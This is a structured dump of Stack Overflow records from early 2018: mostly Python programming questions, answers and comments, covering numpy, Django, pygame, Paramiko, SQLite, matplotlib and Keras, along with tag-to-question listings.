comment on: http://stackoverflow.com/a/49467915
score: 0
has text: I have edited the question for some clarity (I hope). I want the task to run at 08:01, 08:18, 08:35... Up until 16:30 (Or as close as 17 minute intervals will allow).

http://stackoverflow.com/q/49520614
tagged with: matrix
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49520800
has answer: http://stackoverflow.com/a/49520800
answer count: 1
tagged with: multidimensional-array
type: Question
tagged with: python
has title: Python append matrix along given dimension
has body: In a loop with over 200 iterations, I have a temporary output temp.shape = (1L, 2L, 128L, 30L, 3L). I would like to append several of these temp matrices together along the 5th dimension (3L), such that the total output would be Total.shape = (1L, 2L, 128L, 30L, 600L) I believe I need to use np.stack, but I cannot seem to get it to work correctly. For example, I try: Total = np.stack((Total, temp), axis=5), but this fails after a few iterations.

http://stackoverflow.com/comment/86125870
type: QuestionComment
score: 0
has text: https://stackoverflow.com/questions/16330831/most-efficient-way-to-find-mode-in-numpy-array
comment on: http://stackoverflow.com/q/49558958
type: Comment

http://stackoverflow.com/comment/86139585
has text: @jeaneroo note also that `random.randrange(1,6)` will never output 6 (it is not inclusive of the stop argument). You probably want `random.randrange(1,7)` (unless you have a 5 sided dice)
type: Comment
comment on: http://stackoverflow.com/a/49565343
score: 0
type: AnswerComment

http://stackoverflow.com/a/50780926
has body: Just for fun (very scattered case) : Since the original data was not available, the coordinates of the points are obtained from the figure published in the Rachel W's question, thanks to a graphical scan and the record of the blue pixels. They are some artefact due to the straight line and the grid which, after scanning, appear in white. The result of a piecewise regression (two segments) is drawn in red on the above figure. The equation of the fitted function is : The regression method used is not iterative and don't require initial guess. The code is very simple : pp.12-13 in this paper https://fr.scribd.com/document/380941024/Regression-par-morceaux-Piecewise-Regression-pdf
score: 0
answers question: http://stackoverflow.com/q/49518634
type: Answer

http://stackoverflow.com/q/49528586
has body: I am developing an object oriented application which is very similar to the following limited working example. I am initiating 2 super classes. Class A and class B. Class A defines variables var1 and var2, and contains methods Add, Multiply, Power. Class B defines variables var1 and var2 and contains methods Subtract, Divide and Add. Class C instantiates an instance of both class A and class B. It then defines a method f1 which utilizes methods from A_obj and B_obj with different names. Notice that method f2 is using the method Add from A_obj and B_obj. The method has the same name but performs a different computation. The last few lines of the code instantiate an object of class C and then prints out the results using both functions. class A(): def __init__(self, var1, var2): self.var1 = var1 self.var2 = var2 def Add(self): result = self.var1 + self.var2 return result def Multiply(self): result = self.var1*self.var2 return result def Power(self): result = self.var1**self.var2 class B(): def __init__(self, var1, var2): self.var1 = var1 self.var2 = var2 def Subtract(self): result = self.var1-self.var2 return result def Divide(self): result = self.var1/self.var2 return result def Add(self): result = self.var1+self.var2+self.var1+self.var2 return result class C(): def __init__(self, var1, var2, var3, var4): self.A_obj = A(var1,var2) self.B_obj = B(var3,var4) def f1(self): result = self.A_obj.Add()+self.B_obj.Subtract() return result def f2(self): result = self.A_obj.Add()-self.B_obj.Add() return result C_obj = C(1, 2, 3,4) print(C_obj.f1()) print(C_obj.f2()) My question is, can I achieve this sort of functionality using inheritance? Is inheritance even an appropriate concept to use here? I tried forcing it in a previous question but found out that as soon as you use inheritance variables in subclass C become "globally defined" and are recognized by superclasses A and B. I'd like to make sure everything in class A remains local to A and everything in class B remain loca…
has comment: http://stackoverflow.com/comment/86062919
tagged with: oop
tagged with: python
has comment: http://stackoverflow.com/comment/86062814
has comment: http://stackoverflow.com/comment/86063994
has title: Redefining a "subclass" sort of structure using inheritance
has comment: http://stackoverflow.com/comment/86062841
type: Question
has comment: http://stackoverflow.com/comment/86062925
answer count: 0
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86063073
linked to: http://stackoverflow.com/q/49324737

http://stackoverflow.com/comment/85965085
comment on: http://stackoverflow.com/a/49481106
type: Comment
has text: Nice one. Was just getting to the same place, so stopped.
type: AnswerComment
score: 1

http://stackoverflow.com/comment/85970246
score: 0
comment on: http://stackoverflow.com/q/49483559
type: Comment
type: QuestionComment
has text: I only call this once, then it pops memory error. I have been working with normal cause GetRulesCombinations(range(21), 13,21) which only gives 2 million combinations, which is fine. This one is 29 million combinations. Any alternative?

http://stackoverflow.com/q/49595946
has body: I am not sure whether I am putting my question in a right way. I have encoded POS tags like the following from sklearn.preprocessing import LabelBinarizer encoder = LabelBinarizer() transfomed_label = encoder.fit_transform(["CC","CD","DT","EX","FW","IN","JJ","JJR","JJS","LS","MD","NN","NNS","NNP","NNPS","PDT","POS","PRP","PRP$","RB","RBR","RBS","RP","SYM","TO","UH","VB","VBD","VBG","VBN","VBP","VBZ","WDT","WP","WP$","WRB"]) #print(transfomed_label) #START OF This is to get the mapping between the labels and its index #print(encoder.classes_) labels = encoder.classes_ mappings = {} for index, label in zip(range(len(labels)), labels): mappings[label]=index #print(mappings) #END OF This is to get the mapping between the labels and its index for item in transfomed_label: print (item) Now, I have a sentence and I have taken the POS of the sentence import nltk #nltk.download('punkt') #nltk.download('averaged_perceptron_tagger') examplearray=['This is Timothy learning python'] for item in examplearray: tokenized=nltk.word_tokenize(item) tagged=nltk.pos_tag(tokenized) print(tagged) This gives me [('This', 'DT'), ('is', 'VBZ'), ('Timothy', 'NNP'), ('learning', 'VBG'), ('python', 'NN')] I wish this sentence to be encoded as [[000001000],[100000000],[010000000],[000000001],[000100000]] *The above vectors are representative Can anyone help me in how to make a vector array corresponding to the input sentence.
type: Question
score: 0
has title: Python - How to assign an encoded one hot vector to a string value
tagged with: python
has answer: http://stackoverflow.com/a/49596201
possible better answer: http://stackoverflow.com/a/49596201
type: AnsweredQuestion
answer count: 2
tagged with: one-hot-encoding
has answer: http://stackoverflow.com/a/49596315
accepted answer: http://stackoverflow.com/a/49596315

http://stackoverflow.com/q/49512139
tagged with: python
has body: I'm using request.POST.get('...') inside my Django decorator (@save_post_request) whenever my form is submitted, on each tentative I get this same error (error with request.&lt;anything&gt;): AttributeError: 'collectData' object has no attribute 'POST' My decorator is called on top of a post() function inside CollectData classBasedView. #views.py class collectData(View): template_name = 'collect_data.html' context = {...} def get(self, request, *args, **kwargs): ... return render(request, self.template_name, self.context) @save_post_request def post(self, request, *args, **kwargs): ... return redirect(reverse('collectData')) #decorators.py def save_post_request(function): def wrap(request, *args, **kwargs): title = request.POST.get('title') # &lt;--- ... return function(request, *args, **kwargs) wrap.__doc__ = function.__doc__ wrap.__name__ = function.__name__ return wrap I'm not sure if a decorator can be called like so using classBasedViews, but I think it should be right, what is my mistake?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49512224
has title: Why can't I access request attribute inside a decorator?
answer count: 1
downvote count: 0
tagged with: django
has answer: http://stackoverflow.com/a/49512224
score: 1
upvote count: 1
favorite count: 0
type: Question
tagged with: django-views

http://stackoverflow.com/q/49477732
favorite count: 0
has body: I have a new project that I plan to use aiohttp withuWSGI. I found out that uWSGI support asyncio via greentlet. I also did some research about about greenlet and found out it provides event loop too. So as a newbie in python (come from Node.js world). I have a couple of questions about asynchronous programming in python. If asyncio provides event loop why I have to use greenlet as suspend/resume engine to integrated aiohttp with uWSGI? asyncio doesn't provide suspend/resume engine? In order to make pyhton act like a Node.js system it need to use combine loop engine, suspend/resume engine and I/O engine (as Node.js use libuv)? I took a look at this Differences between gevent and tornado and the answer mentioned they are different. as the answer said gevent use coroutine and asyncio provides coroutine too does this mean gevent use the same technique with asyncio? Could greenlet and asyncio use interchangeably? Or use both?
type: Question
tagged with: python-asyncio
tagged with: python
score: -1
linked to: http://stackoverflow.com/q/12812570
tagged with: uwsgi
has answer: http://stackoverflow.com/a/49481227
has title: How asynchronous system in python work?
type: UnansweredQuestion
downvote count: 2
answer count: 1
upvote count: 1
tagged with: gevent

http://stackoverflow.com/q/49528263
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/29332868
upvote count: 2
type: UnansweredQuestion
has body: I am beginner to kivy, thought of doing one simple GUI for my project. As i started with one python file and one kivy file, It worked fine. But now my plan is to make one complex GUI which, contains many lines of code and kivy file is growing large. So I thought of making separate modules of kivy (here making of kivy files separately and importing in one or more files) and thought to integrate with python file. I didn't find any relevant example / even GitHub repositories. Please help me for above issue. Thanks in advance.
has title: How to make separate modules of kivy file and integrate with python file
linked to: http://stackoverflow.com/q/49443284
tagged with: python
tagged with: kivy
tagged with: module
score: 2
has answer: http://stackoverflow.com/a/49528350
tagged with: user-interface
has comment: http://stackoverflow.com/comment/86083849
downvote count: 0
answer count: 1

http://stackoverflow.com/q/49500564
has body: I have installed vs code and added pygame snippets to use pygame library. My big problem is, every time I try to use any key option of pygame, like pygame.KEYDOWN or pygame.QUIT it tells me that QUIT is not a function of pygame. Can someone help me? Everything else seems to work, like display or surface even pygame.key.get_pressed() don’t make problems. import pygame, random, sys from pygame.locals import * from pygame.key import * def set_Background(): screen = pygame.display.set_mode((500,500)) surface = pygame.image.load('Background.png') surface = pygame.transform.scale(surface, (500, 500)) screen.blit(surface, (0,0)) pygame.display.update() return screen def set_Enemy(): enemy = pygame.image.load('Enemy.png') enemy = pygame.transform.scale(enemy, (50, 50)) return enemy def set_Player(): player = pygame.image.load('Player.png') player = pygame.transform.scale(player, (70, 70)) return player RUNNING = True while RUNNING: background = set_Background() enemy = set_Enemy() player = set_Player() enemy_rect = enemy.get_rect() player_rect = player.get_rect() e_x = random.randint(10,450) e_y = random.randint(10,450) background.blit(enemy, (e_x, e_y)) pygame.display.update() for event in pygame.event.get(): key = pygame.key.get_pressed() if event.type == key[pygame.K_ESCAPE]: #module pygame has no K_ESCAPE member sys.exit() if event.type == pygame.QUIT: #says module pygame has no QUIT member sys.exit()
has comment: http://stackoverflow.com/comment/86005637
favorite count: 0
type: Question
has title: Pygame used in VS Code with Pygame Snippets
tagged with: visual-studio-code
has answer: http://stackoverflow.com/a/49506168
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86014691
has comment: http://stackoverflow.com/comment/86005415
tagged with: python
tagged with: pygame
has answer: http://stackoverflow.com/a/64941982
duplicate of: http://stackoverflow.com/q/16044229
duplicate of: http://stackoverflow.com/q/63050139
has comment: http://stackoverflow.com/comment/86013759
upvote count: 3
score: 3
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/49503483
linked to: http://stackoverflow.com/q/16044229

http://stackoverflow.com/comment/86155476
type: QuestionComment
comment on: http://stackoverflow.com/q/49573516
type: Comment
has text: Possible duplicate of [Python: How to Redirect Output with Subprocess?](https://stackoverflow.com/questions/4965159/python-how-to-redirect-output-with-subprocess)
score: 0

http://stackoverflow.com/a/49582409
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49582392
score: 3
type: Answer
answers question: http://stackoverflow.com/q/49582392
upvote count: 3
downvote count: 0
has body: because it inherits from datetime.datetime class _Timestamp(__datetime.datetime): so it is an instance of a datetime.datetime ...

http://stackoverflow.com/a/49463629
upvote count: 4
score: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/85938754
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49456415
has body: The problem appears to be as follows: Your get_moves() function does not check if the game is already over. It can generate a non-empty list of moves for states where someone has already won. When creating a new Node, you also don't check if the game state is already over, so a non-empty list of untried_actions is created. In the Selection and Expansion phases of the algorithm, you also don't check for terminal game states. Once the Expansion phase hits a node that contains a game state where someone already won, it will happily apply an extra action and create a new node for the tree again, which subsequent Selection phases will also happily keep going through. For these nodes where the game continues being played after someone already won, result() can return an incorrect winner. It simply checks if the most recent player to make a move won, which is correct if you stop playing as soon as someone wins, but can be incorrect if you keep playing after someone already won. So, you propagate all kinds of incorrect results through the tree. The simplest way to fix this will be to modify get_moves() such that it returns an empty list when the game is already over. Then, these nodes will always fail the if node.untried_actions != [] check, which means the expansion phase gets skipped altogether, and you move straight on to the Play-out phase where there is a proper check for terminal game states. This can be done as follows: def get_moves(self): """ return remaining possible board moves (ie where there are no O's or X's) """ if self.result(): return [] return np.argwhere(self.state[0] + self.state[1] == 0).tolist()
answers question: http://stackoverflow.com/q/49456415
type: Answer

http://stackoverflow.com/comment/86097395
type: Comment
comment on: http://stackoverflow.com/q/49544742
score: 0
has text: Also, while you're at it, explain why that code doesn't work. Does it give a wrong value, or throw an error?
type: QuestionComment

http://stackoverflow.com/comment/86196714
type: QuestionComment
has text: Maybe you need to remove the bad characters? Can't tell much more from what you've posted..
comment on: http://stackoverflow.com/q/49589522
type: Comment
score: 0

http://stackoverflow.com/comment/86205370
has text: The keys should be the ID tag of the cow and the values should be the yield of milk that the user will input.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49599075
score: 0

http://stackoverflow.com/q/49522451
type: AnsweredQuestion
has title: Matplotlib: fill_between two curves using discrete points
has answer: http://stackoverflow.com/a/49524726
accepted answer: http://stackoverflow.com/a/49524726
tagged with: matplotlib
tagged with: python
type: Question
score: 0
has body: I am trying to recreate the following image: So far I have written this code: import numpy as np import matplotlib import matplotlib.pyplot as plt import seaborn as sns %matplotlib inline yLow,yHigh = (-75,200) xLow,xHigh = (-5.5,2.5) plt.figure(figsize=(15,10)) ax = plt.gca() x = np.linspace(xLow,xHigh,1000) y = x**4 yG = -20*x +20 plt.plot(x,y,linewidth=1,linestyle='--',color='black'); plt.plot(x,yG,linewidth=3,); plt.xlim(xLow,xHigh); plt.ylim(yLow,yHigh); # plt.xticks([], []); # plt.yticks([], []); plt.fill_between(x,yG,yHigh,alpha=0.3,color='green'); plt.fill_between(x,yG,yLow,alpha=0.3,color='green'); plt.fill_between(x,y,yG,color='red'); Which produces: Now, I want to plot the grid of individual points and color them green or red as in the original image. I essentially want to fill_between with discrete points instead of complete shading. Is this possible?
has comment: http://stackoverflow.com/comment/86052633
answer count: 1

database
tags question: http://stackoverflow.com/q/49443436
tags question: http://stackoverflow.com/q/49559545
tags question: http://stackoverflow.com/q/49507890
tags question: http://stackoverflow.com/q/49452348
tags question: http://stackoverflow.com/q/49454756
tags question: http://stackoverflow.com/q/49456254
tags question: http://stackoverflow.com/q/49465795
tags question: http://stackoverflow.com/q/49456006
tags question: http://stackoverflow.com/q/49565642
tags question: http://stackoverflow.com/q/49589911
tags question: http://stackoverflow.com/q/49484145
tags question: http://stackoverflow.com/q/49526792
tags question: http://stackoverflow.com/q/49567998
type: Tag
tags question: http://stackoverflow.com/q/49581069
tags question: http://stackoverflow.com/q/49477999
tags question: http://stackoverflow.com/q/49490879
tags question: http://stackoverflow.com/q/49596280
tags question: http://stackoverflow.com/q/49502741
tags question: http://stackoverflow.com/q/49450014
tags question: http://stackoverflow.com/q/49461740
tags question: http://stackoverflow.com/q/49521597
tags question: http://stackoverflow.com/q/49479063
tags question: http://stackoverflow.com/q/49474871
tags question: http://stackoverflow.com/q/49448841
tag name: database

http://stackoverflow.com/comment/85987098
type: Comment
comment on: http://stackoverflow.com/a/49491846
has text: Thanks, but your answer makes me even more confused: what do you mean by "import A from B"? Did you mean "from A import B"?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86266833
type: Comment
comment on: http://stackoverflow.com/q/49528092
score: 0
type: QuestionComment
has text: https://stackoverflow.com/q/49630050/9020824

http://stackoverflow.com/q/49463141
has comment: http://stackoverflow.com/comment/85929150
score: 0
linked to: http://stackoverflow.com/q/2906092
has comment: http://stackoverflow.com/comment/85929153
accepted answer: http://stackoverflow.com/a/49463149
type: Question
answer count: 2
linked to: http://stackoverflow.com/q/5618878
has answer: http://stackoverflow.com/a/49463149
possible better answer: http://stackoverflow.com/a/49465497
tagged with: python
has answer: http://stackoverflow.com/a/49465497
has body: I am trying to print a list like a string: list = ['a', 'b', 'c', 'd', 'e', 'f'] the output I want it to be; abcdef
type: AnsweredQuestion
has title: how to print a list like a string?
tagged with: list
tagged with: printing
duplicate of: http://stackoverflow.com/q/12453580

http://stackoverflow.com/q/49459663
type: Question
tagged with: python-3.x
type: AnsweredQuestion
has body: I want to go back to Main Menu after every operation is done, like adding students, deleting them etc....I just don't know how to do it, please help. One more thing, If i create functions for each operation how would it work? PS: and I'm sorry if someone already posted this question, I couldn't find any question related to this problem, plus I'm new so go easy on me! Thanks import time import sqlite3 import sys """ Program Info """ AppName = "Student Manager" AppVersion = "1.4.2V" AppAuthor = "Zaidan Chaudhary" print("{} || {} || {}".format(AppName, AppVersion, AppAuthor)) time.sleep(2) """ Start Of Program """ print("\n***Welcome To Student Manager***") print("Main Menu\n\n1: Login\n2: Sign Up\n3: Exit") """Start of Program """ def Start(): """ Creating SQl Database and Table in it """ con = sqlite3.connect("StudentManager.db") cursor = con.cursor() cursor.execute("CREATE TABLE IF NOT EXISTS LoginSystem(firstName TEXT, lastName TEXT, username TEXT, password TEXT)") """Main Program """ while True: try: InputMenu = int(input("Please select an option from Menu: ")) break except ValueError: print("\nPlease enter in numbers [1, 2, 3]\n") if InputMenu == 1: LogUsername = input("Please enter your username: ") LogPassword = input("Please enter your password: ") cursor.execute("SELECT * FROM LoginSystem WHERE username = ? AND password = ?", (LogUsername, LogPassword)) CheckingLogin = cursor.fetchall() if CheckingLogin: for i in CheckingLogin: print("Welcome " + i[0] + "" + i[1] + " to your dashboard\n") cursor.execute("CREATE TABLE IF NOT EXISTS Students(firstName TEXT, lastName TEXT, grade TEXT, " "age TEXT, phoneNo TEXT, address TEXT)") ### This Is My MAIN MENU ##### print("1: Add Students\n2: View Students\n3: Delete Students\n4: Exit") while True: try: UserEntry = int(input("Please select an option from Main Menu: ")) break except ValueError: print("\nError!\nPlease enter in numbers...\n") if UserEntry == 1: StudentFirstName = input("Please enter student's first name: "…
has title: How to go back to a certain point in Python
score: -2
tagged with: python
has answer: http://stackoverflow.com/a/49459983
has comment: http://stackoverflow.com/comment/85922298
has comment: http://stackoverflow.com/comment/85922258
upvote count: 0
accepted answer: http://stackoverflow.com/a/49459983
downvote count: 2
tagged with: sqlite
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/86005943
score: 0
comment on: http://stackoverflow.com/q/49500925
type: Comment
has text: This can't be your actual code, because it raises `SyntaxError` before it even gets that far. Please give us a [mcve].
type: QuestionComment

http://stackoverflow.com/comment/110439088
score: 10
type: Comment
comment on: http://stackoverflow.com/a/49579995
type: AnswerComment
has text: I think the source of confusion (at least for it was), is the name. Since the from_tensor_slices creates slices from the original data...the ideal name should have been "to_tensor_slices" - Because you are taking your data and create tensor slices out of it. Once you think along those lines all documentation from TF2 became very clear for me !

http://stackoverflow.com/a/49504957
type: AcceptedAnswer
has body: Think of it like this, you are going to take an exam and you are practicing hard with your practice materials. You don't know what you are going to be asked in the exam right ? On the other hand if you practice with the exam itself, when you take the exam you will know all the answers, so you don't even have to bother studying. That's the case for your model, if you train your model on both the train set and test set, your model will know all the answers beforehand. You need to give him something he does not know so that he can deduce some answers to you.
accepted answer of: http://stackoverflow.com/q/49504137
score: 0
answers question: http://stackoverflow.com/q/49504137
type: Answer

http://stackoverflow.com/q/49566288
has body: I am having the co-ordinates of top-left corner and the bottom-right corner of a list of rectangles say (a,b) and (c,d). I want to detect and remove rectangles which are within a rectangle. Overlapping rectangles can stay. I have a dataset of 10,000 rectangles and I want an efficient way to solve this problem. Currently I am doing it this way, import pandas data = pd.read_csv('dataset.csv') l = list(range(len(data)-1)) for i in range(len(data)): length = len(l) if i &gt;= length: break for j in range(i+1, length): if j &gt;= len(l): break if (data.iloc[l[i]]['a'] &gt;= data.iloc[l[j]]['a']) and (data.iloc[l[i]]['b'] &lt;= data.iloc[l[j]]['b']) and (data.iloc[l[i]]['c'] &lt;= data.iloc[l[j]]['c']) and (data.iloc[l[i]]['d'] &gt;= data.iloc[l[j]]['d']): l.pop(j) I have implemented this algorithm after sorting the dataset in descending order of the area of the rectangles as rectangles with bigger areas do not fit inside rectangles with smaller areas. Here, I am poping the index of the rectangle from the list l after detecting whether it is inside another rectangle. Each time an element is poped it reduces the iterations. This is taking few hours to solve and I need an efficient way to solve it even for hundred thousand samples. Please help!
has comment: http://stackoverflow.com/comment/86149883
tagged with: algorithm
tagged with: rectangles
type: UnansweredQuestion
has title: How to detect rectangle in a rectangle?
score: 5
tagged with: computational-geometry
upvote count: 5
tagged with: python
has comment: http://stackoverflow.com/comment/86140906
has answer: http://stackoverflow.com/a/49568653
tagged with: performance
has comment: http://stackoverflow.com/comment/86141632
answer count: 3
has answer: http://stackoverflow.com/a/49577513
has comment: http://stackoverflow.com/comment/86141621
downvote count: 0
has comment: http://stackoverflow.com/comment/86150667
favorite count: 0
has comment: http://stackoverflow.com/comment/86141281
has comment: http://stackoverflow.com/comment/86141336
has comment: http://stackoverflow.com/comment/86141211
type: Question
has answer: http://stackoverflow.com/a/49567248
has comment: http://stackoverflow.com/comment/86141148

http://stackoverflow.com/comment/85917060
has text: Typo in solution. Misspelled Wednesday.
score: 0
comment on: http://stackoverflow.com/a/49456868
type: AnswerComment
type: Comment

http://stackoverflow.com/q/49473281
answer count: 0
downvote count: 0
upvote count: 1
type: UnansweredQuestion
score: 1
tagged with: keras
tagged with: tensorflow
favorite count: 0
type: Question
has body: I have a custom image-set where I am trying to localize 4 features in that image. Those values are x,y coordinates. I've ran some basic CNN's and those run fine. My goal now is to convert to MobileNet. I had trouble using Keras's built-in MobileNet &amp; code... so I mimicked the structure with the appropriate layers. It seems that the base model is geared towards classification, where mine is really just trying to locate the 8 x,y coordinates. I've done my best to fit the differing output layers, but my loss so far is pretty bad with a high learning rate. Where am I going wrong? I feel as though i am missing something by not being able to use the internal MN model, as MobileNet is advertised to accommodate object detection as well as classificaiton. My implementation (the tricky bit seems to be the end): model = Sequential() model.add(Conv2D(32, (3, 3), strides=(2, 2), padding='same', use_bias=False, input_shape=(224, 224, 3))) model.add(BatchNormalization()) model.add(Activation('relu')) # block 1 ########### model.add(ZeroPadding2D(padding=(1, 1))) model.add(DepthwiseConv2D((3, 3), padding='valid', depth_multiplier=1, strides=(1, 1), use_bias=False)) model.add(BatchNormalization()) model.add(Activation('relu')) model.add(Conv2D(64, (1, 1), strides=(1, 1), padding='same', use_bias=False)) model.add(BatchNormalization()) model.add(Activation('relu')) ########### # block 2 ########### model.add(ZeroPadding2D(padding=(1, 1))) model.add(DepthwiseConv2D((3, 3), padding='valid', depth_multiplier=1, strides=(2, 2), use_bias=False)) model.add(BatchNormalization()) model.add(Activation('relu')) model.add(Conv2D(128, (1, 1), strides=(1, 1), padding='same', use_bias=False)) model.add(BatchNormalization()) model.add(Activation('relu')) ########### # block 3 ########### model.add(ZeroPadding2D(padding=(1, 1))) model.add(DepthwiseConv2D((3, 3), padding='valid', depth_multiplier=1, strides=(1, 1), use_bias=False)) model.add(BatchNormalization()) model.add(Activation('relu')) mod…
has title: Keras: MobileNet to localize image features
tagged with: python
tagged with: object-detection
tagged with: deep-learning
has comment: http://stackoverflow.com/comment/85948993

http://stackoverflow.com/comment/85990747
type: QuestionComment
has text: Are you getting this error when running the Kivy app via PyCharm IDE?
score: 0
comment on: http://stackoverflow.com/q/49482753
type: Comment

http://stackoverflow.com/q/49501830
accepted answer: http://stackoverflow.com/a/49523553
has answer: http://stackoverflow.com/a/49523553
tagged with: excel
possible better answer: http://stackoverflow.com/a/49522069
type: AnsweredQuestion
score: 0
linked to: http://stackoverflow.com/q/29792134
has comment: http://stackoverflow.com/comment/86037858
has answer: http://stackoverflow.com/a/49522069
tagged with: win32com
has comment: http://stackoverflow.com/comment/86007753
has title: Python 3x win32com: Copying used cells from worksheets in workbook
has body: I have 6 work sheets in my workbook. I want to copy data (all used cells except the header) from 5 worksheets and paste them into the 1st. Snippet of code that applies: ` excel = win32.gencache.EnsureDispatch('Excel.Application') wb = excel.Workbooks.Open(mergedXL) wsSIR = wb.Sheets(1) sheetList = wb.Sheets for ws in sheetList: used = ws.UsedRange if ws.Name != "1st sheet": print ("Copying cells from "+ws.Name) used.Copy() ` used.Copy() will copy ALL used cells, however I don't want the first row from any of the worksheets. I want to be able to copy from each sheet and paste it into the first blank row in the 1st sheet. So when cells from the first sheet (that is NOT the sheet I want to copy to) are pasted in the 1st sheet, they will be pasted starting in A3. Every subsequent paste needs to happen in the first available blank row. I probably haven't done a great job of explaining this, but would love some help. Haven't worked with win32com a ton. I also have this code from one of my old scripts, but I don't understand exactly how it's copying stuff and how I can modify it to work for me this time around: ws.Range(ws.Cells(1,1),ws.Cells(ws.UsedRange.Rows.Count,ws.UsedRange.Columns.Count)).Copy() wsNew.Paste(wsNew.Cells(wsNew.UsedRange.Rows.Count,1))
tagged with: python
type: Question
answer count: 2

http://stackoverflow.com/comment/86114457
score: 0
type: QuestionComment
has text: @godaygo: Now you should use intel-numpy on each system to eliminate compiler effects.
type: Comment
comment on: http://stackoverflow.com/q/49541307

docker
tags question: http://stackoverflow.com/q/49595809
tag name: docker
tags question: http://stackoverflow.com/q/49451392
tags question: http://stackoverflow.com/q/49472920
type: Tag
tags question: http://stackoverflow.com/q/49484847
tags question: http://stackoverflow.com/q/49497190
tags question: http://stackoverflow.com/q/49526899
tags question: http://stackoverflow.com/q/49499438
tags question: http://stackoverflow.com/q/49445712
tags question: http://stackoverflow.com/q/49583311
tags question: http://stackoverflow.com/q/49477964
tags question: http://stackoverflow.com/q/49518565
tags question: http://stackoverflow.com/q/49479907
tags question: http://stackoverflow.com/q/49460013
tags question: http://stackoverflow.com/q/49499184
tags question: http://stackoverflow.com/q/49571507
tags question: http://stackoverflow.com/q/49508332
tags question: http://stackoverflow.com/q/49463158
tags question: http://stackoverflow.com/q/49536180
tags question: http://stackoverflow.com/q/49545119
tags question: http://stackoverflow.com/q/49533891
tags question: http://stackoverflow.com/q/49476217
tags question: http://stackoverflow.com/q/49579673
tags question: http://stackoverflow.com/q/49557637
tags question: http://stackoverflow.com/q/49470509
tags question: http://stackoverflow.com/q/49591872
tags question: http://stackoverflow.com/q/49440159

http://stackoverflow.com/q/49492621
favorite count: 0
has answer: http://stackoverflow.com/a/49494065
has body: I am slowly trying to make a python script to SSH then FTP to do some manual file getting I have to do all the time. I am using Paramiko and the session seems to command, and prints the directory but my change directory command doesn't seem to work, it prints the directory I start in: /01/home/. import paramiko hostname = '' port = 22 username = '' password = '' #selecting PROD instance, changing to data directory, checking directory command = { 1:'ORACLE_SID=PROD',2:'cd /01/application/dataload',3:'pwd' } ssh=paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname,port,username,password) for key,value in command.items(): stdin,stdout,stderr=ssh.exec_command(value) outlines=stdout.readlines() result=''.join(outlines) print (result) ssh.close()
tagged with: ssh
tagged with: python
upvote count: 6
tagged with: paramiko
type: Question
answer count: 2
score: 5
has answer: http://stackoverflow.com/a/49496127
has title: Execute multiple commands in Paramiko so that commands are affected by their predecessors
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/58179070
linked to: http://stackoverflow.com/q/10670217
tagged with: shell
downvote count: 1

http://stackoverflow.com/q/49591612
favorite count: 0
has comment: http://stackoverflow.com/comment/86237076
type: Question
accepted answer: http://stackoverflow.com/a/49591640
has answer: http://stackoverflow.com/a/49591640
tagged with: python
tagged with: regex
has title: Lazy match for a pattern
type: AnsweredQuestion
tagged with: regex-lookarounds
downvote count: 0
answer count: 1
score: 1
upvote count: 1
has body: Given string 1.blah blah2.yada yada I'd like to extract 1.blah blah and 2.yada yada. I tried this \d\..+ but that matches the entire string. \d\..+? matches 1.b and 2.y. I just need to match the pattern lazily. Any ideas?

http://stackoverflow.com/q/49522441
answer count: 4
tagged with: precision
has answer: http://stackoverflow.com/a/49522639
tagged with: decimal
type: AnsweredQuestion
upvote count: 2
tagged with: sql
score: 2
downvote count: 0
tagged with: floating-point
accepted answer: http://stackoverflow.com/a/49523107
favorite count: 0
has title: how to store python float in SQL database
possible better answer: http://stackoverflow.com/a/49522460
type: Question
has answer: http://stackoverflow.com/a/49523107
has answer: http://stackoverflow.com/a/49522460
linked to: http://stackoverflow.com/q/76190448
has answer: http://stackoverflow.com/a/76203191
has body: In python3, I mainly use float or np.float32/64 and when it comes to store it into a database, even if SQL type is Numeric/Decimal we end up with 0.400000000000021 or something like that instead of 0.4 It may be a problem if such data is accessed from another application. Working only with decimal.Decimal in python isn't an answer for us, since we heavely make use of pandas, and Decimal is not supported. A solution would be to cast float to Decimal just before inserting into SQL (SQL Server in our case but it's a detail). And then back from Decimal to float after SELECT. Do you have another (and nicer) way to handle such issue ?
tagged with: python

http://stackoverflow.com/comment/86125811
score: 0
has text: Thanks for your comment why didn't I realize it sooner :)
comment on: http://stackoverflow.com/q/49558495
type: QuestionComment
type: Comment

http://stackoverflow.com/a/49446891
